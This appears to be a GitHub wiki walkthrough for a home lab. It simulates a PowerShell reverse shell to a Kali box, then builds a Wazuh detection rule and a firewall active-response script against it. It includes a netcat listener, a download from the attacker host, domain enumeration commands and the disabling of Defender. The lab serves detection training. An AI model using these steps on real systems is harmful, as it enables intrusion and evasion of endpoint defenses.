Exercise: Reverse Shell - Fooster171/Wazuh-SEIM-Home-Lab GitHub Wiki

This lab will simulate a reverse shell being created on the Windows user machine. In this hypothetical example, I will pretend that a phishing email(or some other social engineering technique) was used to plant a reverse shell on the Windows desktop that will connect to the Kali Linux machine.

This reverse shell will then be used to try and download the EICAR test file. I will then review the results in Wazuh.

I start the exercise by logging into the Kali linux machine. I'm going to right click on the desktop and create a new folder for a web server that we will use. Within this new folder I'm going to create a blank document that will soon hold the code for EICAR malware that we will attempt to drop on the windows workstation.

The text for the EICAR string can be found on the wiki for the site or through the official website: EICAR test file - Wikipedia www.eicar.org

Create a text file and enter the text string from the wiki(save as an exe) or grab the EICAR file and put it in the folder we just created. Then, from within that same directory, open a terminal window and use the following command to create a website that our user will get malware from.

"python3 -m http.server --bind 80"

Next, we will need to start up a netcat listener. Keep the terminal open for our http server and open up a second terminal window. The second terminal window is going to have the command "nc -lvnp 4444".

Netcat is now waiting for our connection to be made from the reverse shell. Now we can switch back to our windows user machine. Setting up everything to send an actual phish sounds hard, so we will pretend it happens.

For this example exercise, I'm skipping the steps of actually sending a real phishing email that the windows user would open.

For the reverse shell, I'm using the second powershell command from the following site: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#powershell

NOTE: This reverse shell will get blocked by windows defender. For the time being, I'm disabling real-time protection so that the connection gets made. I'm going to use the virustotal integration to detect EICAR.

From the site above, I edited the second powershell reverse shell command to include the IP address and port of 4444:

Now that the reverse shell is running, we should be able to see the connection being made on our Kali machine.

Now that the Kali machine has a reverse shell open, we are going to use the "Invoke-WebRequest" command to download the EICAR file from our http server with the following command:

Powershell Invoke-WebRequest -Uri '[http://10.0.2.4:80/EICAR.exe](http://10.0.2.4/EICAR.exe)' -OutFile 'C:\Users\bfoster\Downloads\EICAR.zip'

On the windows machine, the EICAR file is now visible in the downloads folder.

For some additional traffic, I'm going to do a few basic enumation commands through powershell. On the Kali linux machine's open reverse shell I used the following commands

Net user /domain

Net user bfoster /domain

Net user administrator

Net user administrator /domain

This should provide sufficient logs within Wazuh.

Opening the Wazuh server UI, I can find that the logs for the powershell commands in our reverse shell were sent to Wazuh. At the top, I also see Windows defender flagging the EICAR.zip file that was dropped on the host machine.

Specifically, I can see that these 7 high level detections were made:

When examining the logs this one in particular shows the reverse shell being opened:

From there, I can drill down further with the "View Surrounding Documents" button. This lead me to see this log which shows the command we executed through our Kali machine to trigger the malware download. In the same log we also see the IP address of the HTTP server(and Kali device) listed through the reverse shell.

Another severe alert that generated was for the EICAR zip file that was created. From the surrounding logs for that event, I can see the powershell command that was issued.

In this example I'm going to pretend that this machine has no business using Powershell to establish external network connections. I'm going to add a specific alert around this type of activity that will then be the basis for triggering an active response from Wazuh.

Going to the Management -> Rules page from the Wazuh server, I can enter "Local_rules" into the search bar and find a link to open up the local_rules.xml file. All the rules Wazuh uses for triggering alerts are held within these xml files. The "local_rules.xml" file is good for a quick "one-off" rule.

I used the blogpost below for inspiration on writing this rule: Detecting hoaxshell with Wazuh | Wazuh

 <group name="win-sysmon">
  <rule id="100532" level="12">
    <if_sid>92101</if_sid>
    <field name="win.system.eventID">^3$</field>
    <field name="win.eventdata.image">^C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1\.0\\\\powershell\.exe$</field>
    <description>Network connection initiated by PowerShell</description>
     <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>

This designates a new rule(#100532) as a level 12 event based on event ID 3 for Sysmon network connections. The rule also specifies that the eventdata.image field of the event must include powershell. Lastly, there is a included reference to the MITRE tactic number.

After hitting "Save" and restarting the manager, this type of activity will generate this alert. After re-running the reverse shell again I can see the event:

Now that the right detection is in place, it's time to add an active response rule. Wazuh allows for custom scripts to be executed on agents when certain rules or conditions are met.

For this section I'm going to borrow and modify a powershell script that can add rules to windows firewall based on the IP address found within the Wazuh alert that was created. The script was borrowed from the link below: Auto Block Malicious IPs With Wazuh’s Active Response | by OpenSecure | Medium

The guide within the link is for utilizing this firewall active response using an MISP integration. I've made small adjustments to the script, redirecting the destinationIP variable to use "data.win.eventdata.destinationIP" instead. The powershell command New-NetFirewallRule command also was throwing errors for the "Localport any" parameter, but removing that entirely allowed the active response to run as needed.

Wazuh can't utilize ps1 scripts directly, but they can be used if activated through a bat file. On the Windows endpoint, we need to add two files to the C:\Program Files (x86)\ossec-agent\active-response\bin directory.

NOTE: Powershell 7 is needed in order for this active response script to work correctly.

Windows CMD file:

@ECHO OFF
ECHO.

"C:\Program Files\PowerShell\7\"pwsh.exe -executionpolicy ByPass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\windowsfirewall.ps1"

:Exit

Windows PS1 File:

$INPUT_JSON = Read-Host
$INPUT_ARRAY = $INPUT_JSON | ConvertFrom-Json 
$INPUT_ARRAY = $INPUT_ARRAY | ConvertFrom-Json
$ErrorActionPreference = "SilentlyContinue"
$command = $INPUT_ARRAY."command"
$hostip = (Get-WmiObject -Class Win32_NetworkAdapterConfiguration | where {$_.DHCPEnabled -ne $null -and $_.DefaultIPGateway -ne $null}).IPAddress | 
Select-Object -First 1
$destinationip = $INPUT_ARRAY."parameters"."alert"."data"."win"."eventdata"."destinationIp"

#Add Destination IP to Windows Firewall
if ( $command -eq 'add' -AND $destinationip -ne '127.0.0.1' -And $destinationip -ne '0.0.0.0' -And $destinationip -ne $hostip )
{
New-NetFirewallRule -DisplayName "Wazuh Active Response - $destinationip" -Direction Outbound -Protocol Any -Action Block -RemoteAddress 
$destinationip
echo  "$destinationip added to blocklist via Windows Firewall" | ConvertTo-Json -Compress | Out-File -width 2000 C:\"Program Files (x86)"\ossec- 
agent\active-response\active-responses.log -Append -Encoding ascii
}

Going to Management -> Configuration and selecting the edit options, we need to add the following lines to the Wazuh server's Ossec.conf file. The block designates which file to run for our "windowsfirewall" command. The block designates that the command should run after receiving the rule ID of 100532 which we previously created:

We will also need to add the following lines to the group config file for our windows agents:

Next, I'm going to run a test to see if our active response will work. I re-ran the reverse shell from the windows user machine and generated the following traffic.

From the screenshot above I can see the network connection to 10.0.2.4(attacker box) and the resulting action to execute the windowsfirewall.ps1 file. From within the windows machine, the new firewall rule is visible: